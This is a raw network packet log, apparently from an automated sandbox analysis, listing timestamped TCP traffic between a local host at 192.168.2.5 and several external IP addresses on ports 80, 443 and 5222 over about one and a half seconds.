Sep 30, 2024 12:21:03.316231966 CEST	50195	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.316518068 CEST	50195	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.317059040 CEST	80	50197	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.317148924 CEST	50197	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.317322969 CEST	50197	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.320734024 CEST	80	50152	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.320796967 CEST	50152	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.321693897 CEST	5222	50195	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.322192907 CEST	80	50197	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.322992086 CEST	50197	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.323411942 CEST	443	50191	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.327830076 CEST	80	50197	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.352821112 CEST	5222	50185	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.352891922 CEST	50185	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.355020046 CEST	443	50182	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.355096102 CEST	50182	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.355127096 CEST	50182	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.355412960 CEST	443	50193	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.356753111 CEST	80	50194	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.356762886 CEST	5222	50192	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.390115976 CEST	50198	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.390142918 CEST	443	50198	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.390258074 CEST	50198	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.391457081 CEST	50198	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.391477108 CEST	443	50198	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.421031952 CEST	50195	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.421199083 CEST	50197	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.421575069 CEST	50196	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.423310041 CEST	50199	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.423429966 CEST	50200	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.423484087 CEST	443	50200	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.424247980 CEST	50201	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.424313068 CEST	50200	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.425414085 CEST	50200	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.425431013 CEST	443	50200	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.427424908 CEST	80	50155	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.431195021 CEST	50155	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.431977034 CEST	5222	50199	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.431989908 CEST	80	50201	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.432056904 CEST	50199	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.432339907 CEST	50201	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.432339907 CEST	50201	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.432389021 CEST	50199	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.434422016 CEST	443	50184	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.434490919 CEST	50184	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.434964895 CEST	50184	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.437227011 CEST	80	50201	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.437292099 CEST	50201	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.439258099 CEST	5222	50199	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.442131996 CEST	80	50201	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.467395067 CEST	443	50196	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.469527006 CEST	443	50186	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.469613075 CEST	50186	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.469628096 CEST	50186	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.472203970 CEST	5222	50188	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.472275019 CEST	50188	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.473278999 CEST	80	50197	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.473293066 CEST	5222	50195	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.501045942 CEST	50198	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.533178091 CEST	50199	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.533380032 CEST	50200	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.533888102 CEST	50201	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.535687923 CEST	50202	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.536796093 CEST	50203	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.536870956 CEST	443	50203	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.537492990 CEST	50204	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.537544012 CEST	50203	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.538676023 CEST	50203	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.538712978 CEST	443	50203	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.540597916 CEST	5222	50202	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.540693045 CEST	50202	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.540944099 CEST	50202	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.542352915 CEST	80	50204	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.542433023 CEST	50204	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.542602062 CEST	50204	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.546091080 CEST	5222	50202	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.547399044 CEST	443	50198	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.547437906 CEST	80	50204	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.548383951 CEST	50204	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.553232908 CEST	80	50204	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.556317091 CEST	80	50158	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.558715105 CEST	50158	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.567091942 CEST	443	50189	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.567193985 CEST	50189	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.567194939 CEST	50189	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.575428009 CEST	443	50200	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.580884933 CEST	80	50201	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.580938101 CEST	5222	50199	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.584033966 CEST	5222	50192	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.587011099 CEST	50192	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.638225079 CEST	50205	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.638353109 CEST	443	50205	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.638431072 CEST	50205	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.641304970 CEST	443	50191	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.641385078 CEST	50191	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.641432047 CEST	50191	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.644653082 CEST	50202	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.644814014 CEST	50203	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.645356894 CEST	50204	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.646204948 CEST	80	50162	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.646279097 CEST	50162	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.673095942 CEST	443	50193	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.673193932 CEST	50193	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.674979925 CEST	50193	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.690502882 CEST	5222	50195	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.691405058 CEST	443	50203	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.691493988 CEST	50195	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.692742109 CEST	80	50204	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.692764997 CEST	5222	50202	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.697699070 CEST	50205	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.697758913 CEST	443	50205	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.699892998 CEST	50206	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.699938059 CEST	443	50206	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.700026989 CEST	50206	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.701199055 CEST	50206	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.701210976 CEST	443	50206	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.701587915 CEST	50207	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.703480959 CEST	50208	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.706432104 CEST	5222	50207	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.706523895 CEST	50207	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.706728935 CEST	50207	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.708285093 CEST	80	50208	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.708379984 CEST	50208	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.713702917 CEST	5222	50207	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.714531898 CEST	50208	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.720974922 CEST	80	50208	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.721093893 CEST	50208	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.724364996 CEST	50205	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.727461100 CEST	80	50208	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.767420053 CEST	443	50205	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.773699045 CEST	80	50166	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.773782015 CEST	50166	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.780491114 CEST	50207	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.781276941 CEST	50208	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.789916039 CEST	443	50196	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.790019035 CEST	50196	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.790019035 CEST	50196	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.793226957 CEST	50206	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.803446054 CEST	5222	50199	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.807023048 CEST	50199	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.817150116 CEST	50209	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.817193031 CEST	443	50209	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.817250013 CEST	50209	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.832833052 CEST	80	50208	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.832856894 CEST	5222	50207	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.835402012 CEST	443	50206	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.846585035 CEST	50210	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.851447105 CEST	5222	50210	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.855015039 CEST	50210	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.864792109 CEST	80	50169	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.867017031 CEST	50169	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.872136116 CEST	443	50198	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.872221947 CEST	50198	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.872261047 CEST	50198	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.907974958 CEST	443	50200	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.908082008 CEST	50200	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.908082008 CEST	50200	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.908106089 CEST	443	50200	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.911007881 CEST	50200	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.933397055 CEST	5222	50202	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.933775902 CEST	50202	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.939013958 CEST	50210	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.944101095 CEST	50209	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.944135904 CEST	443	50209	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.944317102 CEST	5222	50210	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.944375038 CEST	50210	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.961287975 CEST	50209	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.993825912 CEST	80	50173	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.995192051 CEST	50173	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.995949984 CEST	443	50203	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.996042013 CEST	50203	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.996042013 CEST	50203	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.996078968 CEST	443	50203	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.996129990 CEST	50203	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.007402897 CEST	443	50209	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.044297934 CEST	50211	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.044332981 CEST	443	50211	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.045123100 CEST	50211	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.063707113 CEST	50211	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.063720942 CEST	443	50211	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.077615976 CEST	5222	50207	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.078125000 CEST	50207	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.086620092 CEST	50212	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.088574886 CEST	50213	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.088607073 CEST	443	50213	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.088927984 CEST	50213	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.090110064 CEST	50213	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.090121984 CEST	443	50213	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.092031956 CEST	5222	50212	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.092113972 CEST	50212	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.092542887 CEST	50212	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.097784996 CEST	5222	50212	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.103199959 CEST	80	50176	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:04.106131077 CEST	50176	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.151504040 CEST	443	50205	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.151606083 CEST	50205	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.154982090 CEST	50205	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.156311989 CEST	443	50206	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.156383038 CEST	50206	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.156407118 CEST	50206	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.189965963 CEST	50214	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.190849066 CEST	50211	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.192641973 CEST	80	50180	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.192698002 CEST	50180	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.195133924 CEST	50212	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.195617914 CEST	80	50214	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.195666075 CEST	50214	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.196053028 CEST	50213	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.197973967 CEST	50215	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.199045897 CEST	50216	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.199074984 CEST	443	50216	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.199139118 CEST	50216	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.200349092 CEST	50216	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.200361967 CEST	443	50216	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.200973034 CEST	50217	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.201646090 CEST	50218	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.202856064 CEST	50219	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.203697920 CEST	5222	50215	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.203783035 CEST	50215	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.204133987 CEST	50215	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.205818892 CEST	80	50217	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.205883026 CEST	50217	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.206094027 CEST	50217	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.206480026 CEST	5222	50218	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.206535101 CEST	50218	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.206840992 CEST	50218	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.209003925 CEST	80	50219	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.209124088 CEST	50219	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.209314108 CEST	50219	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.210411072 CEST	5222	50215	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.211292982 CEST	80	50217	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.211334944 CEST	50217	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.211874962 CEST	5222	50218	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.214584112 CEST	80	50219	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.214773893 CEST	50219	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.216084957 CEST	80	50217	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.219564915 CEST	80	50219	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.235408068 CEST	443	50211	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.239406109 CEST	443	50213	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.244767904 CEST	5222	50212	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.299104929 CEST	50215	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.299262047 CEST	50217	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.299660921 CEST	50216	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.302608967 CEST	50220	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.302618027 CEST	50221	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.302656889 CEST	443	50220	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.302720070 CEST	50220	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.303888083 CEST	50220	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.303903103 CEST	443	50220	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.305361032 CEST	50222	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.305392981 CEST	443	50222	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.305452108 CEST	50222	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.307318926 CEST	50222	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.307328939 CEST	443	50222	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.308026075 CEST	5222	50221	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:04.308104992 CEST	50221	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.308398962 CEST	50221	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.308556080 CEST	50223	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.313241005 CEST	5222	50221	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:04.313565969 CEST	80	50223	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:04.313636065 CEST	50223	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.313807011 CEST	50223	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.319245100 CEST	80	50223	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:04.319303036 CEST	50223	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.321136951 CEST	80	50183	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.321187973 CEST	50183	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.324877024 CEST	80	50223	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:04.343415022 CEST	443	50216	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.348818064 CEST	5222	50215	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.348838091 CEST	80	50217	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.410953045 CEST	50222	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.412753105 CEST	80	50187	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:04.412812948 CEST	50187	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.417062998 CEST	50221	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.417186022 CEST	50223	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.417634010 CEST	50220	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.419929981 CEST	50224	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.420264959 CEST	50225	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.420314074 CEST	443	50225	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.420389891 CEST	50225	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.421695948 CEST	50225	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.421722889 CEST	443	50225	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.421781063 CEST	50226	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.424757957 CEST	5222	50224	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.424822092 CEST	50224	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.425043106 CEST	50224	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.426523924 CEST	80	50226	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.426578999 CEST	50226	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.426897049 CEST	50226	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.430351973 CEST	443	50209	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.430413961 CEST	50209	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.430428028 CEST	50209	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.431696892 CEST	5222	50224	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.432090044 CEST	80	50226	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.432147980 CEST	50226	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.436973095 CEST	80	50226	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.451415062 CEST	443	50222	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.459410906 CEST	443	50220	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.464787960 CEST	80	50223	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:04.464798927 CEST	5222	50221	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:04.467340946 CEST	5222	50212	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.467411041 CEST	50212	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.521007061 CEST	80	50190	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.521064997 CEST	50190	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.524363995 CEST	50224	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.524683952 CEST	50225	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.525729895 CEST	50226	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.528143883 CEST	50228	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.528143883 CEST	50227	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.528172970 CEST	443	50228	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.528230906 CEST	50228	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.529210091 CEST	50229	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.529244900 CEST	443	50229	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.529321909 CEST	50229	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.529702902 CEST	50228	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.529711962 CEST	443	50228	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.530736923 CEST	443	50211	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.530798912 CEST	50229	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.530798912 CEST	50211	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.530818939 CEST	443	50229	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.530838013 CEST	50211	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.530972004 CEST	50230	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.532896996 CEST	5222	50227	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:04.532970905 CEST	50227	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.533216953 CEST	50227	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.536528111 CEST	80	50230	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:04.536597967 CEST	50230	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.536772966 CEST	50230	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.538604975 CEST	5222	50227	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:04.542577028 CEST	80	50230	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:04.542637110 CEST	50230	80	192.168.2.5	139.144.164.192
